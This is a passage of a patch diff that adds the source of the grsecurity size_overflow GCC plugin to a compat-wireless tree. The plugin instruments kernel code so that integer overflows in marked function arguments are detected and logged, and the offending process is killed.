++_003896_hash nfs_parse_server_name 2 1899 _003896_hash NULL
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/size_overflow_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/size_overflow_plugin.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/size_overflow_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/size_overflow_plugin.c	2012-10-15 17:30:59.835924531 +0000
+@@ -0,0 +1,1879 @@
++/*
++ * Copyright 2011, 2012 by Emese Revfy <re.emese@gmail.com>
++ * Licensed under the GPL v2, or (at your option) v3
++ *
++ * Homepage:
++ * http://www.grsecurity.net/~ephox/overflow_plugin/
++ *
++ * This plugin recomputes expressions of function arguments marked by a size_overflow attribute
++ * with double integer precision (DImode/TImode for 32/64 bit integer types).
++ * The recomputed argument is checked against TYPE_MAX and an event is logged on overflow and the triggering process is killed.
++ *
++ * Usage:
++ * $ gcc -I`gcc -print-file-name=plugin`/include/c-family -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -ggdb -Wall -W -Wno-missing-field-initializers -o size_overflow_plugin.so size_overflow_plugin.c
++ * $ gcc -fplugin=size_overflow_plugin.so test.c  -O2
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "intl.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "toplev.h"
++#include "function.h"
++#include "tree-flow.h"
++#include "plugin.h"
++#include "gimple.h"
++#include "c-common.h"
++#include "diagnostic.h"
++#include "cfgloop.h"
++
++#if BUILDING_GCC_VERSION >= 4007
++#include "c-tree.h"
++#else
++#define C_DECL_IMPLICIT(EXP) DECL_LANG_FLAG_2 (EXP)
++#endif
++
++struct size_overflow_hash {
++	const struct size_overflow_hash * const next;
++	const char * const name;
++	const unsigned int param;
++};
++
++#include "size_overflow_hash.h"
++
++enum marked {
++	MARKED_NO, MARKED_YES, MARKED_NOT_INTENTIONAL
++};
++
++#define __unused __attribute__((__unused__))
++#define NAME(node) IDENTIFIER_POINTER(DECL_NAME(node))
++#define NAME_LEN(node) IDENTIFIER_LENGTH(DECL_NAME(node))
++#define BEFORE_STMT true
++#define AFTER_STMT false
++#define CREATE_NEW_VAR NULL_TREE
++#define CODES_LIMIT 32
++#define MAX_PARAM 32
++#define MY_STMT GF_PLF_1
++#define NO_CAST_CHECK GF_PLF_2
++
++#if BUILDING_GCC_VERSION == 4005
++#define DECL_CHAIN(NODE) (TREE_CHAIN(DECL_MINIMAL_CHECK(NODE)))
++#endif
++
++int plugin_is_GPL_compatible;
++void debug_gimple_stmt(gimple gs);
++
++static tree expand(struct pointer_set_t *visited, tree lhs);
++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs);
++static tree report_size_overflow_decl;
++static const_tree const_char_ptr_type_node;
++static unsigned int handle_function(void);
++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before);
++static tree get_size_overflow_type(gimple stmt, const_tree node);
++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3);
++
++static struct plugin_info size_overflow_plugin_info = {
++	.version	= "20120930beta",
++	.help		= "no-size-overflow\tturn off size overflow checking\n",
++};
++
++static tree handle_size_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs)
++{
++	unsigned int arg_count;
++	enum tree_code code = TREE_CODE(*node);
++
++	switch (code) {
++	case FUNCTION_DECL:
++		arg_count = type_num_arguments(TREE_TYPE(*node));
++		break;
++	case FUNCTION_TYPE:
++	case METHOD_TYPE:
++		arg_count = type_num_arguments(*node);
++		break;
++	default:
++		*no_add_attrs = true;
++		error("%s: %qE attribute only applies to functions", __func__, name);
++		return NULL_TREE;
++	}
++
++	for (; args; args = TREE_CHAIN(args)) {
++		tree position = TREE_VALUE(args);
++		if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) < 1 || TREE_INT_CST_LOW(position) > arg_count ) {
++			error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position));
++			*no_add_attrs = true;
++		}
++	}
++	return NULL_TREE;
++}
++
++static const char* get_asm_name(tree node)
++{
++	return IDENTIFIER_POINTER(DECL_ASSEMBLER_NAME(node));
++}
++
++static tree handle_intentional_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs)
++{
++	unsigned int arg_count, arg_num;
++	enum tree_code code = TREE_CODE(*node);
++
++	switch (code) {
++	case FUNCTION_DECL:
++		arg_count = type_num_arguments(TREE_TYPE(*node));
++		break;
++	case FUNCTION_TYPE:
++	case METHOD_TYPE:
++		arg_count = type_num_arguments(*node);
++		break;
++	case FIELD_DECL:
++		arg_num = TREE_INT_CST_LOW(TREE_VALUE(args));
++		if (arg_num != 0) {
++			*no_add_attrs = true;
++			error("%s: %qE attribute parameter can only be 0 in structure fields", __func__, name);
++		}
++		return NULL_TREE;
++	default:
++		*no_add_attrs = true;
++		error("%qE attribute only applies to functions", name);
++		return NULL_TREE;
++	}
++
++	for (; args; args = TREE_CHAIN(args)) {
++		tree position = TREE_VALUE(args);
++		if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) > arg_count ) {
++			error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position));
++			*no_add_attrs = true;
++		}
++	}
++	return NULL_TREE;
++}
++
++static struct attribute_spec size_overflow_attr = {
++	.name				= "size_overflow",
++	.min_length			= 1,
++	.max_length			= -1,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_size_overflow_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static struct attribute_spec intentional_overflow_attr = {
++	.name				= "intentional_overflow",
++	.min_length			= 1,
++	.max_length			= -1,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_intentional_overflow_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static void register_attributes(void __unused *event_data, void __unused *data)
++{
++	register_attribute(&size_overflow_attr);
++	register_attribute(&intentional_overflow_attr);
++}
++
++// http://www.team5150.com/~andrew/noncryptohashzoo2~/CrapWow.html
++static unsigned int CrapWow(const char *key, unsigned int len, unsigned int seed)
++{
++#define cwfold( a, b, lo, hi ) { p = (unsigned int)(a) * (unsigned long long)(b); lo ^= (unsigned int)p; hi ^= (unsigned int)(p >> 32); }
++#define cwmixa( in ) { cwfold( in, m, k, h ); }
++#define cwmixb( in ) { cwfold( in, n, h, k ); }
++
++	unsigned int m = 0x57559429;
++	unsigned int n = 0x5052acdb;
++	const unsigned int *key4 = (const unsigned int *)key;
++	unsigned int h = len;
++	unsigned int k = len + seed + n;
++	unsigned long long p;
++
++	while (len >= 8) {
++		cwmixb(key4[0]) cwmixa(key4[1]) key4 += 2;
++		len -= 8;
++	}
++	if (len >= 4) {
++		cwmixb(key4[0]) key4 += 1;
++		len -= 4;
++	}
++	if (len)
++		cwmixa(key4[0] & ((1 << (len * 8)) - 1 ));
++	cwmixb(h ^ (k + n));
++	return k ^ h;
++
++#undef cwfold
++#undef cwmixa
++#undef cwmixb
++}
++
++static inline unsigned int get_hash_num(const char *fndecl, const char *tree_codes, unsigned int len, unsigned int seed)
++{
++	unsigned int fn = CrapWow(fndecl, strlen(fndecl), seed) & 0xffff;
++	unsigned int codes = CrapWow(tree_codes, len, seed) & 0xffff;
++	return fn ^ codes;
++}
++
++static inline tree get_original_function_decl(tree fndecl)
++{
++	if (DECL_ABSTRACT_ORIGIN(fndecl))
++		return DECL_ABSTRACT_ORIGIN(fndecl);
++	return fndecl;
++}
++
++static inline gimple get_def_stmt(const_tree node)
++{
++	gcc_assert(node != NULL_TREE);
++	gcc_assert(TREE_CODE(node) == SSA_NAME);
++	return SSA_NAME_DEF_STMT(node);
++}
++
++static unsigned char get_tree_code(const_tree type)
++{
++	switch (TREE_CODE(type)) {
++	case ARRAY_TYPE:
++		return 0;
++	case BOOLEAN_TYPE:
++		return 1;
++	case ENUMERAL_TYPE:
++		return 2;
++	case FUNCTION_TYPE:
++		return 3;
++	case INTEGER_TYPE:
++		return 4;
++	case POINTER_TYPE:
++		return 5;
++	case RECORD_TYPE:
++		return 6;
++	case UNION_TYPE:
++		return 7;
++	case VOID_TYPE:
++		return 8;
++	case REAL_TYPE:
++		return 9;
++	case VECTOR_TYPE:
++		return 10;
++	case REFERENCE_TYPE:
++		return 11;
++	case OFFSET_TYPE:
++		return 12;
++	case COMPLEX_TYPE:
++		return 13;
++	default:
++		debug_tree((tree)type);
++		gcc_unreachable();
++	}
++}
++
++static size_t add_type_codes(const_tree type, unsigned char *tree_codes, size_t len)
++{
++	gcc_assert(type != NULL_TREE);
++
++	while (type && len < CODES_LIMIT) {
++		tree_codes[len] = get_tree_code(type);
++		len++;
++		type = TREE_TYPE(type);
++	}
++	return len;
++}
++
++static unsigned int get_function_decl(const_tree fndecl, unsigned char *tree_codes)
++{
++	const_tree arg, result, arg_field, type = TREE_TYPE(fndecl);
++	enum tree_code code = TREE_CODE(type);
++	size_t len = 0;
++
++	gcc_assert(code == FUNCTION_TYPE || code == METHOD_TYPE);
++
++	arg = TYPE_ARG_TYPES(type);
++	// skip builtins __builtin_constant_p
++	if (!arg && DECL_BUILT_IN(fndecl))
++		return 0;
++
++	if (TREE_CODE_CLASS(code) == tcc_type)
++		result = type;
++	else
++		result = DECL_RESULT(fndecl);
++
++	gcc_assert(result != NULL_TREE);
++	len = add_type_codes(TREE_TYPE(result), tree_codes, len);
++
++	if (arg == NULL_TREE) {
++		gcc_assert(CODE_CONTAINS_STRUCT(TREE_CODE(fndecl), TS_DECL_NON_COMMON));
++		arg_field = DECL_ARGUMENT_FLD(fndecl);
++		if (arg_field == NULL_TREE)
++			return 0;
++		arg = TREE_TYPE(arg_field);
++		len = add_type_codes(arg, tree_codes, len);
++		gcc_assert(len != 0);
++		return len;
++	}
++
++	gcc_assert(arg != NULL_TREE && TREE_CODE(arg) == TREE_LIST);
++	while (arg && len < CODES_LIMIT) {
++		len = add_type_codes(TREE_VALUE(arg), tree_codes, len);
++		arg = TREE_CHAIN(arg);
++	}
++
++	gcc_assert(len != 0);
++	return len;
++}
++
++static const struct size_overflow_hash *get_function_hash(tree fndecl)
++{
++	unsigned int hash;
++	const struct size_overflow_hash *entry;
++	unsigned char tree_codes[CODES_LIMIT];
++	size_t len;
++	const char *func_name = get_asm_name(fndecl);
++
++	len = get_function_decl(fndecl, tree_codes);
++	if (len == 0)
++		return NULL;
++
++	hash = get_hash_num(func_name, (const char*) tree_codes, len, 0);
++
++	entry = size_overflow_hash[hash];
++	while (entry) {
++		if (!strcmp(entry->name, func_name))
++			return entry;
++		entry = entry->next;
++	}
++
++	return NULL;
++}
++
++static void check_arg_type(const_tree arg)
++{
++	const_tree type = TREE_TYPE(arg);
++	enum tree_code code = TREE_CODE(type);
++
++	gcc_assert(code == INTEGER_TYPE || code == ENUMERAL_TYPE ||
++		  (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == VOID_TYPE) ||
++		  (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == INTEGER_TYPE));
++}
++
++static int find_arg_number(const_tree arg, tree func)
++{
++	tree var;
++	unsigned int argnum = 1;
++
++	if (TREE_CODE(arg) == SSA_NAME)
++		arg = SSA_NAME_VAR(arg);
++
++	for (var = DECL_ARGUMENTS(func); var; var = TREE_CHAIN(var)) {
++		if (strcmp(NAME(arg), NAME(var))) {
++			argnum++;
++			continue;
++		}
++		check_arg_type(var);
++		return argnum;
++	}
++	gcc_unreachable();
++}
++
++static tree create_new_var(tree type)
++{
++	tree new_var = create_tmp_var(type, "cicus");
++
++	add_referenced_var(new_var);
++	mark_sym_for_renaming(new_var);
++	return new_var;
++}
++
++static gimple create_binary_assign(enum tree_code code, gimple stmt, tree rhs1, tree rhs2)
++{
++	gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree type = TREE_TYPE(rhs1);
++	tree lhs = create_new_var(type);
++
++	assign = gimple_build_assign_with_ops(code, lhs, rhs1, rhs2);
++	gimple_set_lhs(assign, make_ssa_name(lhs, assign));
++
++	gsi_insert_before(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	gimple_set_plf(assign, MY_STMT, true);
++	return assign;
++}
++
++static bool is_bool(const_tree node)
++{
++	const_tree type;
++
++	if (node == NULL_TREE)
++		return false;
++
++	type = TREE_TYPE(node);
++	if (!INTEGRAL_TYPE_P(type))
++		return false;
++	if (TREE_CODE(type) == BOOLEAN_TYPE)
++		return true;
++	if (TYPE_PRECISION(type) == 1)
++		return true;
++	return false;
++}
++
++static tree cast_a_tree(tree type, tree var)
++{
++	gcc_assert(type != NULL_TREE);
++	gcc_assert(var != NULL_TREE);
++	gcc_assert(fold_convertible_p(type, var));
++
++	return fold_convert(type, var);
++}
++
++static gimple build_cast_stmt(tree dst_type, tree rhs, tree lhs, gimple_stmt_iterator *gsi, bool before)
++{
++	gimple assign;
++
++	gcc_assert(dst_type != NULL_TREE && rhs != NULL_TREE);
++	if (gsi_end_p(*gsi) && before == AFTER_STMT)
++		gcc_unreachable();
++
++	if (lhs == CREATE_NEW_VAR)
++		lhs = create_new_var(dst_type);
++
++	assign = gimple_build_assign(lhs, cast_a_tree(dst_type, rhs));
++
++	if (!gsi_end_p(*gsi)) {
++		location_t loc = gimple_location(gsi_stmt(*gsi));
++		gimple_set_location(assign, loc);
++	}
++
++	gimple_set_lhs(assign, make_ssa_name(lhs, assign));
++
++	if (before)
++		gsi_insert_before(gsi, assign, GSI_NEW_STMT);
++	else
++		gsi_insert_after(gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	gimple_set_plf(assign, MY_STMT, true);
++
++	return assign;
++}
++
++static tree cast_to_new_size_overflow_type(gimple stmt, tree new_rhs1, tree size_overflow_type, bool before)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi;
++
++	if (new_rhs1 == NULL_TREE)
++		return NULL_TREE;
++
++	if (!useless_type_conversion_p(TREE_TYPE(new_rhs1), size_overflow_type)) {
++		gsi = gsi_for_stmt(stmt);
++		assign = build_cast_stmt(size_overflow_type, new_rhs1, CREATE_NEW_VAR, &gsi, before);
++		return gimple_get_lhs(assign);
++	}
++	return new_rhs1;
++}
++
++static tree follow_overflow_type_and_dup(struct pointer_set_t *visited, gimple stmt, const_tree node, tree new_rhs1, tree new_rhs2, tree new_rhs3)
++{
++	tree size_overflow_type = get_size_overflow_type(stmt, node);
++
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	if (new_rhs2 != NULL_TREE)
++		new_rhs2 = cast_to_new_size_overflow_type(stmt, new_rhs2, size_overflow_type, BEFORE_STMT);
++
++	if (new_rhs3 != NULL_TREE)
++		new_rhs3 = cast_to_new_size_overflow_type(stmt, new_rhs3, size_overflow_type, BEFORE_STMT);
++
++	return dup_assign(visited, stmt, size_overflow_type, new_rhs1, new_rhs2, new_rhs3);
++}
++
++
++static tree create_assign(struct pointer_set_t *visited, gimple oldstmt, tree rhs1, bool before)
++{
++	tree size_overflow_type, lhs;
++	gimple stmt;
++	gimple_stmt_iterator gsi;
++
++	if (rhs1 == NULL_TREE) {
++		debug_gimple_stmt(oldstmt);
++		error("%s: rhs1 is NULL_TREE", __func__);
++		gcc_unreachable();
++	}
++
++	if (gimple_code(oldstmt) == GIMPLE_ASM)
++		lhs = rhs1;
++	else
++		lhs = gimple_get_lhs(oldstmt);
++
++	gsi = gsi_for_stmt(oldstmt);
++	pointer_set_insert(visited, oldstmt);
++	if (lookup_stmt_eh_lp(oldstmt) != 0) {
++		basic_block next_bb, cur_bb;
++		const_edge e;
++
++		gcc_assert(before == false);
++		gcc_assert(stmt_can_throw_internal(oldstmt));
++		gcc_assert(gimple_code(oldstmt) == GIMPLE_CALL);
++		gcc_assert(!gsi_end_p(gsi));
++
++		cur_bb = gimple_bb(oldstmt);
++		next_bb = cur_bb->next_bb;
++		e = find_edge(cur_bb, next_bb);
++		gcc_assert(e != NULL);
++		gcc_assert(e->flags & EDGE_FALLTHRU);
++
++		gsi = gsi_after_labels(next_bb);
++		gcc_assert(!gsi_end_p(gsi));
++
++		before = true;
++		oldstmt = gsi_stmt(gsi);
++	}
++
++	size_overflow_type = get_size_overflow_type(oldstmt, lhs);
++
++	stmt = build_cast_stmt(size_overflow_type, rhs1, CREATE_NEW_VAR, &gsi, before);
++	gimple_set_plf(stmt, MY_STMT, true);
++	return gimple_get_lhs(stmt);
++}
++
++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3)
++{
++	gimple stmt;
++	gimple_stmt_iterator gsi;
++	tree new_var, lhs = gimple_get_lhs(oldstmt);
++
++	if (gimple_plf(oldstmt, MY_STMT))
++		return lhs;
++
++	if (gimple_num_ops(oldstmt) != 4 && rhs1 == NULL_TREE) {
++		rhs1 = gimple_assign_rhs1(oldstmt);
++		rhs1 = create_assign(visited, oldstmt, rhs1, BEFORE_STMT);
++	}
++	if (gimple_num_ops(oldstmt) == 3 && rhs2 == NULL_TREE) {
++		rhs2 = gimple_assign_rhs2(oldstmt);
++		rhs2 = create_assign(visited, oldstmt, rhs2, BEFORE_STMT);
++	}
++
++	stmt = gimple_copy(oldstmt);
++	gimple_set_location(stmt, gimple_location(oldstmt));
++	gimple_set_plf(stmt, MY_STMT, true);
++
++	if (gimple_assign_rhs_code(oldstmt) == WIDEN_MULT_EXPR)
++		gimple_assign_set_rhs_code(stmt, MULT_EXPR);
++
++	if (is_bool(lhs))
++		new_var = SSA_NAME_VAR(lhs);
++	else
++		new_var = create_new_var(size_overflow_type);
++	new_var = make_ssa_name(new_var, stmt);
++	gimple_set_lhs(stmt, new_var);
++
++	if (rhs1 != NULL_TREE) {
++		if (!gimple_assign_cast_p(oldstmt))
++			rhs1 = cast_a_tree(size_overflow_type, rhs1);
++		gimple_assign_set_rhs1(stmt, rhs1);
++	}
++
++	if (rhs2 != NULL_TREE)
++		gimple_assign_set_rhs2(stmt, rhs2);
++#if BUILDING_GCC_VERSION >= 4007
++	if (rhs3 != NULL_TREE)
++		gimple_assign_set_rhs3(stmt, rhs3);
++#endif
++	gimple_set_vuse(stmt, gimple_vuse(oldstmt));
++	gimple_set_vdef(stmt, gimple_vdef(oldstmt));
++
++	gsi = gsi_for_stmt(oldstmt);
++	gsi_insert_after(&gsi, stmt, GSI_SAME_STMT);
++	update_stmt(stmt);
++	pointer_set_insert(visited, oldstmt);
++	return gimple_get_lhs(stmt);
++}
++
++static gimple overflow_create_phi_node(gimple oldstmt, tree result)
++{
++	basic_block bb;
++	gimple phi;
++	gimple_stmt_iterator gsi = gsi_for_stmt(oldstmt);
++
++	bb = gsi_bb(gsi);
++
++	phi = create_phi_node(result, bb);
++	gsi = gsi_last(phi_nodes(bb));
++	gsi_remove(&gsi, false);
++
++	gsi = gsi_for_stmt(oldstmt);
++	gsi_insert_after(&gsi, phi, GSI_NEW_STMT);
++	gimple_set_bb(phi, bb);
++	gimple_set_plf(phi, MY_STMT, true);
++	return phi;
++}
++
++static basic_block create_a_first_bb(void)
++{
++	basic_block first_bb;
++
++	first_bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++	if (dom_info_available_p(CDI_DOMINATORS))
++		set_immediate_dominator(CDI_DOMINATORS, first_bb, ENTRY_BLOCK_PTR);
++	return first_bb;
++}
++
++static tree cast_old_phi_arg(gimple oldstmt, tree size_overflow_type, tree arg, tree new_var, unsigned int i)
++{
++	basic_block bb;
++	const_gimple newstmt;
++	gimple_stmt_iterator gsi;
++	bool before = BEFORE_STMT;
++
++	if (TREE_CODE(arg) == SSA_NAME && gimple_code(get_def_stmt(arg)) != GIMPLE_NOP) {
++		gsi = gsi_for_stmt(get_def_stmt(arg));
++		newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, AFTER_STMT);
++		return gimple_get_lhs(newstmt);
++	}
++
++	bb = gimple_phi_arg_edge(oldstmt, i)->src;
++	gsi = gsi_after_labels(bb);
++	if (bb->index == 0) {
++		bb = create_a_first_bb();
++		gsi = gsi_start_bb(bb);
++	}
++	newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, before);
++	return gimple_get_lhs(newstmt);
++}
++
++static const_gimple handle_new_phi_arg(const_tree arg, tree new_var, tree new_rhs)
++{
++	gimple newstmt;
++	gimple_stmt_iterator gsi;
++	void (*gsi_insert)(gimple_stmt_iterator *, gimple, enum gsi_iterator_update);
++	gimple def_newstmt = get_def_stmt(new_rhs);
++
++	gsi_insert = gsi_insert_after;
++	gsi = gsi_for_stmt(def_newstmt);
++
++	switch (gimple_code(get_def_stmt(arg))) {
++	case GIMPLE_PHI:
++		newstmt = gimple_build_assign(new_var, new_rhs);
++		gsi = gsi_after_labels(gimple_bb(def_newstmt));
++		gsi_insert = gsi_insert_before;
++		break;
++	case GIMPLE_ASM:
++	case GIMPLE_CALL:
++		newstmt = gimple_build_assign(new_var, new_rhs);
++		break;
++	case GIMPLE_ASSIGN:
++		newstmt = gimple_build_assign(new_var, gimple_get_lhs(def_newstmt));
++		break;
++	default:
++		/* unknown gimple_code (handle_build_new_phi_arg) */
++		gcc_unreachable();
++	}
++
++	gimple_set_lhs(newstmt, make_ssa_name(new_var, newstmt));
++	gsi_insert(&gsi, newstmt, GSI_NEW_STMT);
++	gimple_set_plf(newstmt, MY_STMT, true);
++	update_stmt(newstmt);
++	return newstmt;
++}
++
++static tree build_new_phi_arg(struct pointer_set_t *visited, tree size_overflow_type, tree arg, tree new_var)
++{
++	const_gimple newstmt;
++	gimple def_stmt;
++	tree new_rhs;
++
++	new_rhs = expand(visited, arg);
++	if (new_rhs == NULL_TREE)
++		return NULL_TREE;
++
++	def_stmt = get_def_stmt(new_rhs);
++	if (gimple_code(def_stmt) == GIMPLE_NOP)
++		return NULL_TREE;
++	new_rhs = cast_to_new_size_overflow_type(def_stmt, new_rhs, size_overflow_type, AFTER_STMT);
++
++	newstmt = handle_new_phi_arg(arg, new_var, new_rhs);
++	return gimple_get_lhs(newstmt);
++}
++
++static tree build_new_phi(struct pointer_set_t *visited, tree orig_result)
++{
++	gimple phi, oldstmt = get_def_stmt(orig_result);
++	tree new_result, size_overflow_type;
++	unsigned int i;
++	unsigned int n = gimple_phi_num_args(oldstmt);
++
++	size_overflow_type = get_size_overflow_type(oldstmt, orig_result);
++
++	new_result = create_new_var(size_overflow_type);
++
++	pointer_set_insert(visited, oldstmt);
++	phi = overflow_create_phi_node(oldstmt, new_result);
++	for (i = 0; i < n; i++) {
++		tree arg, lhs;
++
++		arg = gimple_phi_arg_def(oldstmt, i);
++		if (is_gimple_constant(arg))
++			arg = cast_a_tree(size_overflow_type, arg);
++		lhs = build_new_phi_arg(visited, size_overflow_type, arg, new_result);
++		if (lhs == NULL_TREE)
++			lhs = cast_old_phi_arg(oldstmt, size_overflow_type, arg, new_result, i);
++		add_phi_arg(phi, lhs, gimple_phi_arg_edge(oldstmt, i), gimple_location(oldstmt));
++	}
++
++	update_stmt(phi);
++	return gimple_phi_result(phi);
++}
++
++static tree change_assign_rhs(gimple stmt, const_tree orig_rhs, tree new_rhs)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree origtype = TREE_TYPE(orig_rhs);
++
++	gcc_assert(gimple_code(stmt) == GIMPLE_ASSIGN);
++
++	assign = build_cast_stmt(origtype, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++	return gimple_get_lhs(assign);
++}
++
++static void change_rhs1(gimple stmt, tree new_rhs1)
++{
++	tree assign_rhs;
++	const_tree rhs = gimple_assign_rhs1(stmt);
++
++	assign_rhs = change_assign_rhs(stmt, rhs, new_rhs1);
++	gimple_assign_set_rhs1(stmt, assign_rhs);
++	update_stmt(stmt);
++}
++
++static bool check_mode_type(const_gimple stmt)
++{
++	const_tree lhs = gimple_get_lhs(stmt);
++	const_tree lhs_type = TREE_TYPE(lhs);
++	const_tree rhs_type = TREE_TYPE(gimple_assign_rhs1(stmt));
++	enum machine_mode lhs_mode = TYPE_MODE(lhs_type);
++	enum machine_mode rhs_mode = TYPE_MODE(rhs_type);
++
++	if (rhs_mode == lhs_mode && TYPE_UNSIGNED(rhs_type) == TYPE_UNSIGNED(lhs_type))
++		return false;
++
++	if (rhs_mode == SImode && lhs_mode == DImode && (TYPE_UNSIGNED(rhs_type) || !TYPE_UNSIGNED(lhs_type)))
++		return false;
++
++	return true;
++}
++
++static bool check_undefined_integer_operation(const_gimple stmt)
++{
++	const_gimple def_stmt;
++	const_tree lhs = gimple_get_lhs(stmt);
++	const_tree rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs1_type = TREE_TYPE(rhs1);
++	const_tree lhs_type = TREE_TYPE(lhs);
++
++	if (TYPE_MODE(rhs1_type) != TYPE_MODE(lhs_type) || TYPE_UNSIGNED(rhs1_type) == TYPE_UNSIGNED(lhs_type))
++		return false;
++
++	def_stmt = get_def_stmt(rhs1);
++	if (gimple_code(def_stmt) != GIMPLE_ASSIGN)
++		return false;
++
++	if (gimple_assign_rhs_code(def_stmt) != MINUS_EXPR)
++		return false;
++	return true;
++}
++
++static bool is_a_cast_and_const_overflow(const_tree no_const_rhs)
++{
++	const_tree rhs1, lhs, rhs1_type, lhs_type;
++	enum machine_mode lhs_mode, rhs_mode;
++	gimple def_stmt = get_def_stmt(no_const_rhs);
++
++	if (!gimple_assign_cast_p(def_stmt))
++		return false;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	lhs = gimple_get_lhs(def_stmt);
++	rhs1_type = TREE_TYPE(rhs1);
++	lhs_type = TREE_TYPE(lhs);
++	rhs_mode = TYPE_MODE(rhs1_type);
++	lhs_mode = TYPE_MODE(lhs_type);
++	if (TYPE_UNSIGNED(lhs_type) == TYPE_UNSIGNED(rhs1_type) || lhs_mode != rhs_mode)
++		return false;
++
++	return true;
++}
++
++static tree handle_unary_rhs(struct pointer_set_t *visited, gimple stmt)
++{
++	tree size_overflow_type, lhs = gimple_get_lhs(stmt);
++	tree new_rhs1, rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs1_type = TREE_TYPE(rhs1);
++	const_tree lhs_type = TREE_TYPE(lhs);
++
++	new_rhs1 = expand(visited, rhs1);
++
++	if (new_rhs1 == NULL_TREE || TREE_CODE(rhs1_type) == POINTER_TYPE)
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	if (gimple_plf(stmt, MY_STMT))
++		return lhs;
++
++	if (gimple_plf(stmt, NO_CAST_CHECK))
++		return follow_overflow_type_and_dup(visited, stmt, rhs1, new_rhs1, NULL_TREE, NULL_TREE);
++
++	if (gimple_assign_rhs_code(stmt) == BIT_NOT_EXPR) {
++		size_overflow_type = get_size_overflow_type(stmt, rhs1);
++		new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++		check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT);
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++	}
++
++	if (!gimple_assign_cast_p(stmt) || check_undefined_integer_operation(stmt))
++		return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, NULL_TREE, NULL_TREE);
++
++	size_overflow_type = get_size_overflow_type(stmt, rhs1);
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	change_rhs1(stmt, new_rhs1);
++	check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT);
++
++	rhs1 = gimple_assign_rhs1(stmt);
++	rhs1_type = TREE_TYPE(rhs1);
++	if (TYPE_UNSIGNED(rhs1_type) != TYPE_UNSIGNED(lhs_type))
++		return create_assign(visited, stmt, rhs1, AFTER_STMT);
++
++	if (!check_mode_type(stmt))
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	size_overflow_type = get_size_overflow_type(stmt, lhs);
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	check_size_overflow(stmt, size_overflow_type, new_rhs1, lhs, BEFORE_STMT);
++
++	return create_assign(visited, stmt, lhs, AFTER_STMT);
++}
++
++static tree handle_unary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	gimple def_stmt = get_def_stmt(lhs);
++	tree rhs1 = gimple_assign_rhs1(def_stmt);
++
++	if (is_gimple_constant(rhs1))
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++
++	gcc_assert(TREE_CODE(rhs1) != COND_EXPR);
++	switch (TREE_CODE(rhs1)) {
++	case SSA_NAME:
++		return handle_unary_rhs(visited, def_stmt);
++	case ARRAY_REF:
++	case BIT_FIELD_REF:
++	case ADDR_EXPR:
++	case COMPONENT_REF:
++	case INDIRECT_REF:
++#if BUILDING_GCC_VERSION >= 4006
++	case MEM_REF:
++#endif
++	case PARM_DECL:
++	case TARGET_MEM_REF:
++	case VAR_DECL:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++
++	default:
++		debug_gimple_stmt(def_stmt);
++		debug_tree(rhs1);
++		gcc_unreachable();
++	}
++}
++
++static void insert_cond(basic_block cond_bb, tree arg, enum tree_code cond_code, tree type_value)
++{
